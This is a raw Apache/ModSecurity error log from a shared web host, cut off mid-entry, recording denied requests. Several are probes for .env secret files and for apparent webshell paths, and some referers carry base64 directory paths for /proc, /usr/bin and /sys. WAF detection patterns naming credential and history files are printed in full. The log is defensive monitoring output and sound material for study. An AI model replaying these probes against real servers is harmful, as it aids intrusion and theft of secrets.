https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:11:02.767264 2026] [security2:error] [pid 531155:tid 531160] [remote 17.241.227.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xlimiP80klyS0Nnr7OQABVgQ"] [Sat Jun 13 18:11:02.850664 2026] [access_compat:error] [pid 531797:tid 531945] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:02.850929 2026] [access_compat:error] [pid 531797:tid 531945] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:02.985600 2026] [security2:error] [pid 531797:tid 532077] [client 74.7.230.10:48286] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "indoorenvironmentaltesting.com"] [uri "/robots.txt"] [unique_id "ai3xlsTA7b1mZrmcA-8plAACY0g"] [Sat Jun 13 18:11:03.013215 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.14:50122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:03.013636 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.14:50122] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:03.161476 2026] [security2:error] [pid 531155:tid 531397] [client 20.9.67.71:36101] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/x.php"] [unique_id "ai3xlymiP80klyS0Nnr7RwAAAXo"] [Sat Jun 13 18:11:03.222642 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:11:03.223115 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:11:03.228310 2026] [security2:error] [pid 531155:tid 531320] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation37.phpt"] [unique_id "ai3xlymiP80klyS0Nnr7SgAAAS0"] [Sat Jun 13 18:11:03.388483 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.111:64250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:03.388938 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.111:64250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:03.392917 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:03.393282 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:03.398287 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.17:23024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:03.398688 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.17:23024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:03.552973 2026] [security2:error] [pid 531797:tid 531958] [remote 17.246.23.203:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 203.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xl8TA7b1mZrmcA-8ppAACIV4"] [Sat Jun 13 18:11:03.604592 2026] [access_compat:error] [pid 531155:tid 531182] [remote 57.141.14.88:56632] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:03.604982 2026] [access_compat:error] [pid 531155:tid 531182] [remote 57.141.14.88:56632] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:03.694953 2026] [security2:error] [pid 531155:tid 531321] [client 191.233.234.186:38866] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/ops.php"] [unique_id "ai3xlymiP80klyS0Nnr7YAAAAS4"] [Sat Jun 13 18:11:03.756647 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:11:03.757067 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:11:03.779680 2026] [security2:error] [pid 531797:tid 532051] [client 20.9.67.71:36200] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/invisi.php"] [unique_id "ai3xl8TA7b1mZrmcA-8prgAAAkk"] [Sat Jun 13 18:11:03.869310 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:03.869743 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:04.080002 2026] [access_compat:error] [pid 531155:tid 531253] [remote 57.141.14.68:36658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:04.080282 2026] [access_compat:error] [pid 531155:tid 531253] [remote 57.141.14.68:36658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:04.227112 2026] [security2:error] [pid 531155:tid 531360] [client 20.9.67.71:41964] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/flox.php"] [unique_id "ai3xmCmiP80klyS0Nnr7cgAAAVU"] [Sat Jun 13 18:11:04.261385 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:11:04.261695 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:11:04.302964 2026] [security2:error] [pid 531797:tid 532036] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/server/.env"] [unique_id "ai3xmMTA7b1mZrmcA-8pvgAAAjs"] [Sat Jun 13 18:11:04.374566 2026] [access_compat:error] [pid 531797:tid 531948] [remote 57.141.14.45:33140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:04.375015 2026] [access_compat:error] [pid 531797:tid 531948] [remote 57.141.14.45:33140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:04.421052 2026] [access_compat:error] [pid 531797:tid 531883] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:04.421439 2026] [access_compat:error] [pid 531797:tid 531883] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:04.486285 2026] [security2:error] [pid 531155:tid 531212] [remote 17.246.23.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmCmiP80klyS0Nnr7fAABPzg"] [Sat Jun 13 18:11:04.548631 2026] [security2:error] [pid 531155:tid 531351] [client 185.209.56.169:64350] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.alfareedfertilizers.com"] [uri "/robots.txt"] [unique_id "ai3xmCmiP80klyS0Nnr7fgAAAUw"] [Sat Jun 13 18:11:04.548774 2026] [security2:error] [pid 531155:tid 531351] [client 185.209.56.169:64350] ModSecurity: Warning. Matched phrase "MJ12bot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.alfareedfertilizers.com"] [uri "/robots.txt"] [unique_id "ai3xmCmiP80klyS0Nnr7fgAAAUw"] [Sat Jun 13 18:11:04.646725 2026] [security2:error] [pid 531797:tid 532085] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/config/.env"] [unique_id "ai3xmMTA7b1mZrmcA-8pyQAAAms"] [Sat Jun 13 18:11:04.775666 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.105:20452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:04.776075 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.105:20452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:04.780956 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:11:04.781413 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:11:04.781499 2026] [security2:error] [pid 531155:tid 531359] [client 191.233.234.186:45739] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "afghanjudofederation-af.accessart.af"] [uri "/wpconf.php"] [unique_id "ai3xmCmiP80klyS0Nnr7gwAAAVQ"] [Sat Jun 13 18:11:04.813647 2026] [security2:error] [pid 531155:tid 531200] [remote 17.246.23.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmCmiP80klyS0Nnr7hwABHSw"] [Sat Jun 13 18:11:04.817578 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.16:53758] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:04.817856 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.16:53758] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:04.823017 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.59:61825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:04.823433 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.59:61825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:04.921313 2026] [security2:error] [pid 531155:tid 531223] [remote 17.241.219.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmCmiP80klyS0Nnr7iwABQUM"] [Sat Jun 13 18:11:04.934950 2026] [access_compat:error] [pid 531797:tid 531983] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:04.935385 2026] [access_compat:error] [pid 531797:tid 531983] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:04.945018 2026] [security2:error] [pid 531797:tid 531907] [remote 144.76.119.9:4206] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.inplace-design.com"] [uri "/xmlrpc.php"] [unique_id "ai3xmMTA7b1mZrmcA-8p0QACFCs"] [Sat Jun 13 18:11:04.945217 2026] [security2:error] [pid 531797:tid 531996] [client 144.76.119.9:4206] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.inplace-design.com"] [uri "/xmlrpc.php"] [unique_id "ai3xmMTA7b1mZrmcA-8p0QACFCs"] [Sat Jun 13 18:11:04.961311 2026] [security2:error] [pid 531797:tid 532035] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/shared/.env"] [unique_id "ai3xmMTA7b1mZrmcA-8p0gAAAjo"] [Sat Jun 13 18:11:04.966636 2026] [security2:error] [pid 531155:tid 531399] [client 191.233.234.186:38858] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/fix.php"] [unique_id "ai3xmCmiP80klyS0Nnr7jQAAAXw"] [Sat Jun 13 18:11:05.032329 2026] [security2:error] [pid 531155:tid 531310] [client 20.151.217.54:23772] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.calexpressmovers.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xmSmiP80klyS0Nnr7kAAAASM"] [Sat Jun 13 18:11:05.182223 2026] [security2:error] [pid 531155:tid 531292] [client 114.119.146.41:30055] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "baychiropractic.ca"] [uri "/custom-orthotics"] [unique_id "ai3xmSmiP80klyS0Nnr7lAAAARE"], referer: https://baychiropractic.ca/custom-orthotics [Sat Jun 13 18:11:05.248773 2026] [security2:error] [pid 531797:tid 532122] [client 